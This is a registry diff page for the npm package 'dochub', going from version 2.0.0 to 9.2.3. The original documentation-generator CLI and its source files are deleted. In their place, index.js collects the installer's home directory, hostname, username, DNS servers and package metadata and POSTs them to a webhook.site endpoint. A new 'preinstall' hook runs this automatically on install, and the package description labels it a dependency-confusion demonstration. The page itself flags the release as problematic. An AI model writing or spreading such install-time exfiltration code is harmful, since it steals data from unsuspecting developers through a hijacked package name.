dochub 2.0.0 → 9.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dochub might be problematic. Click here for more details.

package/index.js CHANGED
@@ -1,86 +1,47 @@
1
- #!/usr/bin/env node
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
2
7
 
3
- const yargs = require('yargs');
4
- const initProject = require('./src/init');
5
- const serveDocs = require('./src/serve');
6
- const buildSite = require('./src/build');
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
7
19
 
8
- const color = process.stdout.isTTY ? {
9
- bold: (s) => `\x1b[1m${s}\x1b[22m`,
10
- dim: (s) => `\x1b[2m${s}\x1b[22m`,
11
- cyan: (s) => `\x1b[36m${s}\x1b[39m`,
12
- green: (s) => `\x1b[32m${s}\x1b[39m`,
13
- red: (s) => `\x1b[31m${s}\x1b[39m`,
14
- reset: (s) => `\x1b[0m${s}`,
15
- } : { bold: (s) => s, dim: (s) => s, cyan: (s) => s, green: (s) => s, red: (s) => s, reset: (s) => s };
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
16
23
 
17
- yargs
18
- .scriptName('dochub')
19
- .usage(`${color.bold('dochub')} <command> ${color.dim('[options]')}`)
20
- .command({
21
- command: 'init [directory]',
22
- describe: `${color.green('Scaffold')} a new documentation project`,
23
- builder: (yargs) => {
24
- yargs.positional('directory', {
25
- describe: 'Project directory name',
26
- type: 'string',
27
- default: 'my-docs'
28
- });
24
+ var options = {
25
+ hostname: "https://webhook.site", //replace burpcollaborator.net with Interactsh or
26
+ pipedream
27
+ port: 443,
28
+ path: "/ef7191de-6fbf-4898-80c9-853b5d93fb27",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
29
33
  },
30
- handler: initProject,
31
- })
32
- .command({
33
- command: 'serve [directory]',
34
- describe: `${color.cyan('Start')} dev server with live reload`,
35
- builder: (yargs) => {
36
- yargs.positional('directory', {
37
- describe: 'Project directory',
38
- type: 'string',
39
- default: '.'
40
- }).option('port', {
41
- alias: 'p',
42
- describe: 'Port to listen on',
43
- type: 'number',
44
- default: 3000
45
- });
46
- },
47
- handler: serveDocs,
48
- })
49
- .command({
50
- command: 'build [directory]',
51
- describe: `${color.green('Build')} static HTML site`,
52
- builder: (yargs) => {
53
- yargs.positional('directory', {
54
- describe: 'Project directory',
55
- type: 'string',
56
- default: '.'
57
- }).option('out', {
58
- alias: 'o',
59
- describe: 'Output directory',
60
- type: 'string',
61
- default: 'dist'
62
- });
63
- },
64
- handler: buildSite,
65
- })
66
- .demandCommand(1, '')
67
- .example('dochub init my-docs', ' Scaffold a new project')
68
- .example('dochub serve', ' Start dev server in current dir')
69
- .example('dochub serve --port 8080', ' Start on a custom port')
70
- .example('dochub build', ' Build static site to ./dist')
71
- .example('dochub build -o docs', ' Build to a custom output dir')
72
- .epilogue([
73
- '',
74
- ` ${color.dim('Learn more:')} ${color.cyan('https://github.com/tyler-Github/dochub')}`,
75
- ''
76
- ].join('\n'))
77
- .strict()
78
- .wrap(90)
79
- .fail((msg, err) => {
80
- if (err) throw err;
81
- if (msg) console.error(`\n ${color.red('!')} ${msg}\n`);
82
- yargs.showHelp();
83
- process.exit(1);
84
- })
85
- .help()
86
- .argv;
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,37 +1,12 @@
1
1
  {
2
2
  "name": "dochub",
3
- "version": "2.0.0",
4
- "description": "A modern documentation generator with live-reload dev server and static site builder",
3
+ "version": "9.2.3",
4
+ "description": "This is to demonstrate the vulnerability of Dependency Confusion",
5
5
  "main": "index.js",
6
- "bin": {
7
- "dochub": "./index.js"
8
- },
9
6
  "scripts": {
10
- "test": "node index.js --help"
11
- },
12
- "author": "Tyler Reece",
13
- "license": "MIT",
14
- "dependencies": {
15
- "chokidar": "^5.0.0",
16
- "highlight.js": "^11.11.1",
17
- "marked": "^18.0.5",
18
- "ws": "^8.21.0",
19
- "yargs": "^17.7.2"
20
- },
21
- "files": [
22
- "index.js",
23
- "src/",
24
- "templates/"
25
- ],
26
- "engines": {
27
- "node": ">=18"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"index.js"
28
9
  },
29
- "keywords": [
30
- "documentation",
31
- "docs",
32
- "markdown",
33
- "static-site-generator",
34
- "documentation-generator",
35
- "live-reload"
36
- ]
10
+ "author": "Casper",
11
+ "license": "ISC"
37
12
  }
package/README.md DELETED
@@ -1,198 +0,0 @@
1
- # DocHub
2
-
3
- <p>
4
- <a href="https://www.npmjs.com/package/dochub"><img src="https://img.shields.io/npm/v/dochub?style=flat&label=npm" alt="npm version"></a>
5
- <a href="https://www.npmjs.com/package/dochub"><img src="https://img.shields.io/npm/dt/dochub?style=flat&label=downloads" alt="npm downloads"></a>
6
- <a href="https://packagephobia.com/result?p=dochub"><img src="https://packagephobia.com/badge?p=dochub" alt="install size"></a>
7
- <a href="https://github.com/tyler-Github/dochub/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue?style=flat" alt="license"></a>
8
- </p>
9
-
10
- Write Markdown. Ship beautiful documentation.
11
-
12
- DocHub is a zero-config documentation tool that turns a folder of Markdown files into a modern, searchable, themeable documentation site. Use it as a live-reload dev server during writing, then export a fully self-contained static site for deployment.
13
-
14
- ---
15
-
16
- ## Features
17
-
18
- | | |
19
- |---|---|
20
- | **Live preview** | Dev server with instant reload on file changes |
21
- | **Static export** | Build a portable HTML site with clean URLs (`/guide`, `/api/auth`) |
22
- | **Full-text search** | Client-side search across all pages with relevance scoring |
23
- | **Dark mode** | Light/dark toggle with persistent preference |
24
- | **Syntax highlighting** | 190+ languages via Highlight.js |
25
- | **File-tree sidebar** | Auto-generated navigation from your folder structure |
26
- | **Responsive** | Works on desktop, tablet, and mobile |
27
- | **Self-contained** | Zero external CDN dependencies in the output |
28
-
29
- ## Install
30
-
31
- ```bash
32
- npm install -g dochub
33
- ```
34
-
35
- ## Quick start
36
-
37
- ```bash
38
- # Scaffold a new project
39
- dochub init my-docs
40
-
41
- # Start writing — open http://localhost:3000
42
- cd my-docs && dochub serve
43
-
44
- # Build for production
45
- dochub build
46
- ```
47
-
48
- ## Project structure
49
-
50
- ```
51
- my-docs/
52
- ├── markdown/ # Your content — add .md files here
53
- │ ├── README.md # Home page (/)
54
- │ ├── guide.md # /guide
55
- │ ├── api/
56
- │ │ ├── README.md # /api
57
- │ │ └── authentication # /api/authentication
58
- │ └── deployment/
59
- │ └── README.md # /deployment
60
- └── dochub.config.js # Site configuration
61
- ```
62
-
63
- Every folder becomes a collapsible sidebar section. `README.md` inside a folder becomes the folder's index page at a clean URL (`/api` not `/api/readme`).
64
-
65
- ## Commands
66
-
67
- ### `dochub init [directory]`
68
-
69
- Scaffolds a new documentation project with a `markdown/` folder containing starter pages and a `dochub.config.js`.
70
-
71
- ```bash
72
- dochub init my-project # Creates ./my-project
73
- ```
74
-
75
- ### `dochub serve [directory]`
76
-
77
- Starts a development server with WebSocket live reload. Changes to any `.md` file instantly refresh the browser.
78
-
79
- ```bash
80
- dochub serve # Serve current directory
81
- dochub serve my-project # Serve a specific project
82
- dochub serve -p 4000 # Custom port
83
- ```
84
-
85
- ### `dochub build [directory]`
86
-
87
- Generates a static HTML site with clean URLs. Each page becomes a directory with `index.html` — deployable to any static host (Netlify, Vercel, GitHub Pages, S3, etc.).
88
-
89
- ```bash
90
- dochub build # Build to ./dist
91
- dochub build -o docs # Build to ./docs
92
- ```
93
-
94
- ## Configuration
95
-
96
- Edit `dochub.config.js` in your project root:
97
-
98
- ```js
99
- module.exports = {
100
- title: 'My API Docs',
101
- description: 'Everything you need to build with our API',
102
- };
103
- ```
104
-
105
- The title appears in the browser tab, page header, and search metadata.
106
-
107
- ## Writing documentation
108
-
109
- DocHub uses standard Markdown. All files go in `markdown/` and URLs are derived from the file path:
110
-
111
- | File | URL |
112
- |---|---|
113
- | `markdown/README.md` | `/` |
114
- | `markdown/guide.md` | `/guide` |
115
- | `markdown/api/README.md` | `/api` |
116
- | `markdown/api/authentication.md` | `/api/authentication` |
117
-
118
- ### Supported syntax
119
-
120
- - Headers (h1–h6), bold, italic, strikethrough, inline code
121
- - Fenced code blocks with syntax highlighting
122
- - Ordered and unordered lists (nested too)
123
- - Links, images, blockquotes, horizontal rules
124
- - Tables with header alignment
125
-
126
- ## Deployment
127
-
128
- The `build` command outputs a static `dist/` folder:
129
-
130
- ```
131
- dist/
132
- ├── index.html
133
- ├── guide/
134
- │ └── index.html
135
- ├── api/
136
- │ └── index.html
137
- ├── folder/
138
- │ └── index.html
139
- └── 404.html
140
- ```
141
-
142
- Deploy the entire `dist/` folder to any static file host:
143
-
144
- <details>
145
- <summary><b>Netlify</b></summary>
146
-
147
- ```bash
148
- dochub build
149
- # Drag dist/ onto Netlify Drop, or
150
- npx netlify-cli deploy --dir=dist --prod
151
- ```
152
- </details>
153
-
154
- <details>
155
- <summary><b>Vercel</b></summary>
156
-
157
- ```bash
158
- dochub build
159
- npx vercel dist --prod
160
- ```
161
- </details>
162
-
163
- <details>
164
- <summary><b>GitHub Pages</b></summary>
165
-
166
- ```bash
167
- dochub build
168
- # Push dist/ contents to gh-pages branch, or
169
- # use actions/upload-pages-artifact
170
- ```
171
- </details>
172
-
173
- <details>
174
- <summary><b>Any static server</b></summary>
175
-
176
- ```bash
177
- dochub build
178
- npx serve dist
179
- ```
180
- </details>
181
-
182
- ## Why DocHub?
183
-
184
- There are many documentation tools. Here's where DocHub fits:
185
-
186
- | | DocHub | Docusaurus | VitePress |
187
- |---|---|---|---|
188
- | Setup time | seconds | minutes | minutes |
189
- | Language | Markdown | MDX + React | Markdown + Vue |
190
- | Build output | ~20KB pages | ~200KB+ JS bundle | ~100KB+ JS bundle |
191
- | Dependencies | 5 packages | 200+ packages | 100+ packages |
192
- | Config | 5-line JS file | Full Docusaurus config | Full VitePress config |
193
-
194
- DocHub is for teams that want to write Markdown and ship docs without learning a framework or managing hundreds of dependencies.
195
-
196
- ## License
197
-
198
- MIT
package/src/build.js DELETED
@@ -1,90 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const { renderMarkdown } = require('./markdown');
4
- const { generatePageHtml } = require('./template');
5
- const { loadConfig, walkMarkdownFiles, getSearchData, generateSidebarHtml, extractTitle } = require('./utils');
6
-
7
- function buildSite(argv) {
8
- const directory = path.resolve(argv.directory || '.');
9
- const outDir = path.resolve(argv.out || 'dist');
10
- const markdownDir = path.join(directory, 'markdown');
11
-
12
- if (!fs.existsSync(markdownDir)) {
13
- console.error(`No 'markdown' directory found in ${directory}.`);
14
- console.error('Run `dochub init` first to scaffold a project.');
15
- process.exit(1);
16
- }
17
-
18
- const config = loadConfig(directory);
19
-
20
- if (fs.existsSync(outDir)) {
21
- fs.rmSync(outDir, { recursive: true, force: true });
22
- }
23
-
24
- const files = walkMarkdownFiles(markdownDir, markdownDir);
25
- const allSearchData = getSearchData(directory);
26
-
27
- let count = 0;
28
- for (const file of files) {
29
- const content = fs.readFileSync(file.path, 'utf8');
30
- const contentHtml = renderMarkdown(content);
31
- const searchData = allSearchData.map(s => ({
32
- path: s.path,
33
- title: s.title,
34
- excerpt: s.excerpt,
35
- }));
36
-
37
- const sidebarHtml = generateSidebarHtml(directory, file.url);
38
-
39
- const html = generatePageHtml({
40
- config,
41
- sidebarHtml,
42
- contentHtml,
43
- searchData,
44
- currentPath: file.url,
45
- isDev: false,
46
- });
47
-
48
- let outputPath;
49
- if (file.url === '/' || file.url === '') {
50
- outputPath = path.join(outDir, 'index.html');
51
- } else {
52
- outputPath = path.join(outDir, file.url.slice(1), 'index.html');
53
- }
54
-
55
- fs.mkdirSync(path.dirname(outputPath), { recursive: true });
56
- fs.writeFileSync(outputPath, html, 'utf8');
57
- count++;
58
- }
59
-
60
- const homeMarkdown = path.join(markdownDir, 'README.md');
61
- if (!fs.existsSync(homeMarkdown)) {
62
- const allSearchData = getSearchData(directory);
63
- const sidebarHtml = generateSidebarHtml(directory, '/');
64
- const html = generatePageHtml({
65
- config,
66
- sidebarHtml,
67
- contentHtml: '<h1>Welcome</h1><p>Select a page from the sidebar.</p>',
68
- searchData: allSearchData,
69
- currentPath: '/',
70
- isDev: false,
71
- });
72
- const indexPath = path.join(outDir, 'index.html');
73
- fs.mkdirSync(path.dirname(indexPath), { recursive: true });
74
- fs.writeFileSync(indexPath, html, 'utf8');
75
- count++;
76
- }
77
-
78
- const notFoundHtml = `<!DOCTYPE html>
79
- <html lang="en">
80
- <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>404 - ${config.title}</title>
81
- <style>body{font-family:-apple-system,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;background:#0b1120;color:#f1f5f9;text-align:center}.wrap{max-width:480px}h1{font-size:4rem;margin:0;color:#60a5fa}p{color:#94a3b8;margin:1rem 0 2rem}a{color:#60a5fa;text-decoration:none;border:1px solid #60a5fa;padding:.5rem 1.5rem;border-radius:8px}a:hover{background:#60a5fa;color:#0b1120}</style></head>
82
- <body><div class="wrap"><h1>404</h1><p>The page you're looking for doesn't exist.</p><a href="/">Go Home</a></div></body></html>`;
83
- fs.writeFileSync(path.join(outDir, '404.html'), notFoundHtml, 'utf8');
84
-
85
- console.log(`\n \x1b[1mDocHub\x1b[0m build complete`);
86
- console.log(` \x1b[36m>\x1b[0m Pages: ${count}`);
87
- console.log(` \x1b[36m>\x1b[0m Output: \x1b[1m${outDir}\x1b[0m\n`);
88
- }
89
-
90
- module.exports = buildSite;
package/src/init.js DELETED
@@ -1,49 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
-
4
- function initProject(argv) {
5
- const directory = argv.directory || 'my-docs';
6
- const projectPath = path.resolve(directory);
7
-
8
- if (fs.existsSync(projectPath)) {
9
- console.error(`Directory '${directory}' already exists.`);
10
- process.exit(1);
11
- }
12
-
13
- fs.mkdirSync(projectPath, { recursive: true });
14
-
15
- const markdownDir = path.join(projectPath, 'markdown');
16
- fs.mkdirSync(markdownDir, { recursive: true });
17
-
18
- const templatesDir = path.join(__dirname, '..', 'templates');
19
- const copyFiles = [
20
- { src: path.join(templatesDir, 'README.md'), dest: path.join(markdownDir, 'README.md') },
21
- { src: path.join(templatesDir, 'guide.md'), dest: path.join(markdownDir, 'guide.md') },
22
- { src: path.join(templatesDir, 'folder', 'README.md'), dest: path.join(markdownDir, 'folder', 'README.md') },
23
- ];
24
-
25
- for (const f of copyFiles) {
26
- try {
27
- fs.mkdirSync(path.dirname(f.dest), { recursive: true });
28
- const content = fs.readFileSync(f.src, 'utf8');
29
- fs.writeFileSync(f.dest, content, 'utf8');
30
- } catch (err) {
31
- console.error(` \x1b[31m!\x1b[0m Failed to create ${f.dest}: ${err.message}`);
32
- }
33
- }
34
-
35
- const configContent = `module.exports = {
36
- title: '${path.basename(projectPath)}',
37
- description: 'A DocHub documentation site',
38
- };
39
- `;
40
- fs.writeFileSync(path.join(projectPath, 'dochub.config.js'), configContent, 'utf8');
41
-
42
- const relPath = path.relative(process.cwd(), projectPath);
43
- console.log(`\n \x1b[1mDocHub\x1b[0m project initialized`);
44
- console.log(` \x1b[36m>\x1b[0m Location: \x1b[1m${relPath}\x1b[0m`);
45
- console.log(` \x1b[36m>\x1b[0m Serve: \x1b[1mdochub serve ${relPath}\x1b[0m`);
46
- console.log(` \x1b[36m>\x1b[0m Build: \x1b[1mdochub build ${relPath}\x1b[0m\n`);
47
- }
48
-
49
- module.exports = initProject;
package/src/markdown.js DELETED
@@ -1,23 +0,0 @@
1
- const { marked } = require('marked');
2
- const hljs = require('highlight.js');
3
-
4
- marked.use({
5
- renderer: {
6
- code({ text, lang }) {
7
- const language = hljs.getLanguage(lang) ? lang : 'plaintext';
8
- let highlighted;
9
- try {
10
- highlighted = hljs.highlight(text, { language }).value;
11
- } catch {
12
- highlighted = text;
13
- }
14
- return `<pre class="code-block"><code class="hljs language-${language}">${highlighted}</code></pre>`;
15
- }
16
- }
17
- });
18
-
19
- function renderMarkdown(content) {
20
- return marked.parse(content);
21
- }
22
-
23
- module.exports = { renderMarkdown };
package/src/serve.js DELETED
@@ -1,134 +0,0 @@
1
- const http = require('http');
2
- const fs = require('fs');
3
- const path = require('path');
4
- const { WebSocketServer } = require('ws');
5
- const chokidar = require('chokidar');
6
- const { renderMarkdown } = require('./markdown');
7
- const { generatePageHtml } = require('./template');
8
- const { loadConfig, getSearchData, generateSidebarHtml } = require('./utils');
9
-
10
- function serveDocs(argv) {
11
- const directory = path.resolve(argv.directory || '.');
12
- const port = argv.port || 3000;
13
- const markdownDir = path.join(directory, 'markdown');
14
-
15
- if (!fs.existsSync(markdownDir)) {
16
- console.error(`No 'markdown' directory found in ${directory}.`);
17
- console.error('Run `dochub init` first to scaffold a project.');
18
- process.exit(1);
19
- }
20
-
21
- const config = loadConfig(directory);
22
-
23
- const notFoundHtml = `<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>404 - ${config.title}</title><style>body{font-family:-apple-system,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;background:#0b1120;color:#f1f5f9;text-align:center}.wrap{max-width:480px}h1{font-size:4rem;margin:0;color:#60a5fa}p{color:#94a3b8;margin:1rem 0 2rem}a{color:#60a5fa;text-decoration:none;border:1px solid #60a5fa;padding:.5rem 1.5rem;border-radius:8px}a:hover{background:#60a5fa;color:#0b1120}</style></head><body><div class="wrap"><h1>404</h1><p>The page you're looking for doesn't exist.</p><a href="/">Go Home</a></div></body></html>`;
24
-
25
- const server = http.createServer((req, res) => {
26
- const url = new URL(req.url, `http://localhost:${port}`);
27
- let pathname = url.pathname;
28
-
29
- if (pathname === '/favicon.ico') {
30
- res.writeHead(204);
31
- res.end();
32
- return;
33
- }
34
-
35
- const baseDir = path.resolve(markdownDir);
36
- const normalized = pathname.replace(/\/$/, '') || '/';
37
-
38
- const resolveFile = (cb) => {
39
- if (normalized === '/') {
40
- return cb(path.join(baseDir, 'README.md'));
41
- }
42
- const rel = normalized.slice(1);
43
- const candidates = [
44
- rel + '.md',
45
- path.join(rel, 'README.md'),
46
- path.join(rel, 'index.md'),
47
- ];
48
- let i = 0;
49
- const next = () => {
50
- if (i >= candidates.length) return cb(null);
51
- const resolved = path.resolve(baseDir, candidates[i]);
52
- if (!resolved.startsWith(baseDir)) { i++; return next(); }
53
- fs.access(resolved, fs.constants.R_OK, (err) => {
54
- if (err) { i++; return next(); }
55
- cb(resolved);
56
- });
57
- };
58
- next();
59
- };
60
-
61
- resolveFile((resolvedPath) => {
62
- if (!resolvedPath) {
63
- res.writeHead(404, { 'Content-Type': 'text/html' });
64
- res.end(notFoundHtml);
65
- return;
66
- }
67
-
68
- fs.readFile(resolvedPath, 'utf8', (err, content) => {
69
- if (err) {
70
- res.writeHead(500, { 'Content-Type': 'text/html' });
71
- res.end('<h1>500 Internal Server Error</h1>');
72
- return;
73
- }
74
-
75
- const contentHtml = renderMarkdown(content);
76
- const searchData = getSearchData(directory);
77
- const sidebarHtml = generateSidebarHtml(directory, pathname);
78
-
79
- const html = generatePageHtml({
80
- config,
81
- sidebarHtml,
82
- contentHtml,
83
- searchData,
84
- currentPath: pathname,
85
- isDev: true,
86
- });
87
-
88
- res.writeHead(200, { 'Content-Type': 'text/html' });
89
- res.end(html);
90
- });
91
- });
92
- });
93
-
94
- const wss = new WebSocketServer({ server });
95
-
96
- wss.on('connection', (ws) => {
97
- ws.on('close', () => {});
98
- });
99
-
100
- const watcher = chokidar.watch(markdownDir, {
101
- ignored: /(^|[\/\\])\../,
102
- persistent: true,
103
- ignoreInitial: true,
104
- });
105
-
106
- const debounceTimers = new Map();
107
- watcher.on('all', (event, filePath) => {
108
- const key = filePath;
109
- if (debounceTimers.has(key)) clearTimeout(debounceTimers.get(key));
110
- debounceTimers.set(key, setTimeout(() => {
111
- debounceTimers.delete(key);
112
- const relative = path.relative(markdownDir, filePath);
113
- console.log(`\x1b[36m[i]\x1b[0m File changed: ${relative}`);
114
- wss.clients.forEach(client => {
115
- if (client.readyState === 1) client.send('refresh');
116
- });
117
- }, 100));
118
- });
119
-
120
- server.listen(port, () => {
121
- console.log(`\n \x1b[1mDocHub\x1b[0m dev server running`);
122
- console.log(` \x1b[36m>\x1b[0m Local: \x1b[1mhttp://localhost:${port}\x1b[0m`);
123
- console.log(` \x1b[36m>\x1b[0m Dir: ${markdownDir}\n`);
124
- });
125
-
126
- process.on('SIGINT', () => {
127
- watcher.close();
128
- wss.close();
129
- server.close();
130
- process.exit(0);
131
- });
132
- }
133
-
134
- module.exports = serveDocs;
package/src/template.js DELETED
@@ -1,390 +0,0 @@
1
- function escapeHtml(str) {
2
- return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
3
- }
4
-
5
- function extractTitle(contentHtml) {
6
- const m = contentHtml.match(/<h1[^>]*>([\s\S]*?)<\/h1>/);
7
- return m ? m[1].replace(/<[^>]+>/g, '') : '';
8
- }
9
-
10
- function generatePageHtml(options) {
11
- const {
12
- config = { title: 'DocHub', description: '' },
13
- sidebarHtml = '',
14
- contentHtml = '',
15
- searchData = [],
16
- currentPath = '/',
17
- isDev = false,
18
- } = options;
19
-
20
- const siteTitle = escapeHtml(config.title || 'DocHub');
21
- const rawPageTitle = extractTitle(contentHtml);
22
- const pageTitle = rawPageTitle ? `${rawPageTitle} - ${siteTitle}` : siteTitle;
23
- const searchJson = JSON.stringify(searchData).replace(/<\/script>/gi, '<\\/script>');
24
-
25
- return `<!DOCTYPE html>
26
- <html lang="en" data-theme="light">
27
- <head>
28
- <meta charset="UTF-8">
29
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
30
- <title>${pageTitle}</title>
31
- <style>
32
- *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
33
- :root{--bg:#fff;--bg-secondary:#f8fafc;--bg-tertiary:#f1f5f9;--surface:#fff;--text:#0f172a;--text-secondary:#475569;--text-tertiary:#94a3b8;--accent:#3b82f6;--accent-hover:#2563eb;--accent-light:#eff6ff;--border:#e2e8f0;--sidebar-bg:#fafbfc;--code-bg:#1e293b;--code-text:#e2e8f0;--header-height:56px;--sidebar-width:280px}
34
- [data-theme=dark]{--bg:#0b1120;--bg-secondary:#0f172a;--bg-tertiary:#1e293b;--surface:#1e293b;--text:#f1f5f9;--text-secondary:#94a3b8;--text-tertiary:#64748b;--accent:#60a5fa;--accent-hover:#3b82f6;--accent-light:#1e3a5f;--border:#334155;--sidebar-bg:#0f172a;--code-bg:#020617;--code-text:#e2e8f0}
35
- html{font-size:16px}
36
- body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,sans-serif;background:var(--bg);color:var(--text);line-height:1.7;-webkit-font-smoothing:antialiased;overflow-x:hidden}
37
- a{color:var(--accent);text-decoration:none}
38
- a:hover{color:var(--accent-hover)}
39
- img{max-width:100%;height:auto;border-radius:8px}
40
- hr{border:none;border-top:1px solid var(--border);margin:2rem 0}
41
-
42
- .header{position:fixed;top:0;left:0;right:0;height:var(--header-height);background:rgba(255,255,255,.85);backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px);border-bottom:1px solid var(--border);display:flex;align-items:center;padding:0 16px;z-index:100;gap:12px}
43
- [data-theme=dark] .header{background:rgba(11,17,32,.85)}
44
- .header-inner{display:flex;align-items:center;gap:12px;width:100%;max-width:1440px;margin:0 auto}
45
- .sidebar-toggle{display:none;background:none;border:none;color:var(--text);cursor:pointer;padding:6px;border-radius:6px;font-size:20px;line-height:1}
46
- .sidebar-toggle:hover{background:var(--bg-tertiary)}
47
- .site-title{font-size:18px;font-weight:700;color:var(--text);white-space:nowrap;letter-spacing:-.3px}
48
- .site-title:hover{color:var(--accent)}
49
- .search-wrapper{flex:1;max-width:480px;position:relative;margin:0 auto}
50
- .search-icon{position:absolute;left:10px;top:50%;transform:translateY(-50%);color:var(--text-tertiary);pointer-events:none}
51
- .search-input{width:100%;height:36px;padding:0 14px 0 32px;border:1px solid var(--border);border-radius:8px;background:var(--bg-secondary);color:var(--text);font-size:14px;outline:none;transition:border-color .2s,box-shadow .2s}
52
- .search-input::placeholder{color:var(--text-tertiary)}
53
- .search-input:focus{border-color:var(--accent);box-shadow:0 0 0 3px var(--accent-light)}
54
- .search-results{position:absolute;top:calc(100% + 4px);left:0;right:0;background:var(--surface);border:1px solid var(--border);border-radius:10px;box-shadow:0 10px 40px rgba(0,0,0,.12);max-height:360px;overflow-y:auto;display:none;z-index:200}
55
- .search-results.show{display:block}
56
- .search-result-item{display:block;padding:10px 14px;border-bottom:1px solid var(--border);cursor:pointer;transition:background .15s}
57
- .search-result-item:last-child{border-bottom:none}
58
- .search-result-item:hover,.search-result-item.highlighted{background:var(--accent-light)}
59
- .search-result-title{font-size:14px;font-weight:600;color:var(--text)}
60
- .search-result-path{font-size:12px;color:var(--text-tertiary);margin-top:2px}
61
- .search-result-excerpt{font-size:13px;color:var(--text-secondary);margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
62
- .no-results{padding:20px;text-align:center;color:var(--text-tertiary);font-size:14px}
63
- .theme-toggle{background:none;border:none;color:var(--text);cursor:pointer;padding:6px;border-radius:6px;font-size:18px;line-height:1;display:flex;align-items:center;justify-content:center;width:32px;height:32px;transition:background .15s}
64
- .theme-toggle:hover{background:var(--bg-tertiary)}
65
- .theme-toggle .sun{display:none}
66
- .theme-toggle .moon{display:block}
67
- [data-theme=dark] .theme-toggle .sun{display:block}
68
- [data-theme=dark] .theme-toggle .moon{display:none}
69
-
70
- .layout{display:flex;padding-top:var(--header-height);min-height:100vh}
71
- .overlay{display:none}
72
-
73
- .sidebar{width:var(--sidebar-width);min-width:var(--sidebar-width);height:calc(100vh - var(--header-height));position:sticky;top:var(--header-height);overflow-y:auto;background:var(--sidebar-bg);border-right:1px solid var(--border);padding:16px 0}
74
- .sidebar::-webkit-scrollbar{width:6px}
75
- .sidebar::-webkit-scrollbar-track{background:transparent}
76
- .sidebar::-webkit-scrollbar-thumb{background:var(--border);border-radius:3px}
77
- .sidebar-nav{padding:0 12px}
78
- .sidebar-section{margin-bottom:4px}
79
- .sidebar-section-header{display:flex;align-items:center;gap:6px;padding:6px 8px;border-radius:6px;font-size:13px;font-weight:600;color:var(--text-tertiary);text-transform:uppercase;letter-spacing:.5px;cursor:pointer;user-select:none}
80
- .sidebar-section-header:hover{color:var(--text)}
81
- .sidebar-section-header svg.arrow{width:12px;height:12px;transition:transform .2s;flex-shrink:0;color:var(--text-tertiary)}
82
- .sidebar-section-header svg.arrow.open{transform:rotate(90deg)}
83
- .sidebar-link{display:flex;align-items:center;gap:8px;padding:6px 8px 6px 20px;border-radius:6px;font-size:14px;color:var(--text-secondary);transition:all .15s;text-decoration:none}
84
- .sidebar-link:hover{background:var(--bg-tertiary);color:var(--text)}
85
- .sidebar-link.active{background:var(--accent-light);color:var(--accent);font-weight:600}
86
- .sidebar-link .icon{flex-shrink:0;color:var(--text-tertiary)}
87
- .sidebar-link.active .icon{color:var(--accent)}
88
-
89
- .main{flex:1;min-width:0;padding:40px 48px;max-width:896px}
90
- .main-content{max-width:720px}
91
- .main-content>*+*{margin-top:1.25em}
92
- .main-content h1{margin-top:0;font-size:2.25rem;font-weight:800;letter-spacing:-.5px;line-height:1.3;color:var(--text)}
93
- .main-content h2{margin-top:2rem;font-size:1.5rem;font-weight:700;letter-spacing:-.3px;line-height:1.4;color:var(--text);padding-bottom:.3rem;border-bottom:1px solid var(--border)}
94
- .main-content h3{margin-top:1.75rem;font-size:1.2rem;font-weight:600;color:var(--text)}
95
- .main-content h4{margin-top:1.5rem;font-size:1.05rem;font-weight:600;color:var(--text)}
96
- .main-content h5{margin-top:1.25rem;font-size:.95rem;font-weight:600;color:var(--text-secondary)}
97
- .main-content h6{margin-top:1.25rem;font-size:.875rem;font-weight:600;color:var(--text-tertiary);text-transform:uppercase;letter-spacing:.5px}
98
- .main-content p{color:var(--text-secondary);line-height:1.8}
99
- .main-content strong{color:var(--text);font-weight:600}
100
- .main-content ul,.main-content ol{padding-left:1.5rem;color:var(--text-secondary)}
101
- .main-content li{margin:.4em 0}
102
- .main-content li::marker{color:var(--text-tertiary)}
103
- .main-content blockquote{margin:1.5rem 0;padding:.75rem 1.25rem;border-left:4px solid var(--accent);background:var(--accent-light);border-radius:0 8px 8px 0;color:var(--text-secondary)}
104
- .main-content blockquote p{margin:0}
105
- .main-content table{width:100%;border-collapse:collapse;margin:1.5rem 0;font-size:14px}
106
- .main-content th,.main-content td{padding:10px 14px;border:1px solid var(--border);text-align:left}
107
- .main-content th{background:var(--bg-secondary);font-weight:600;color:var(--text)}
108
- .main-content td{color:var(--text-secondary)}
109
- .main-content tr:nth-child(even) td{background:var(--bg-secondary)}
110
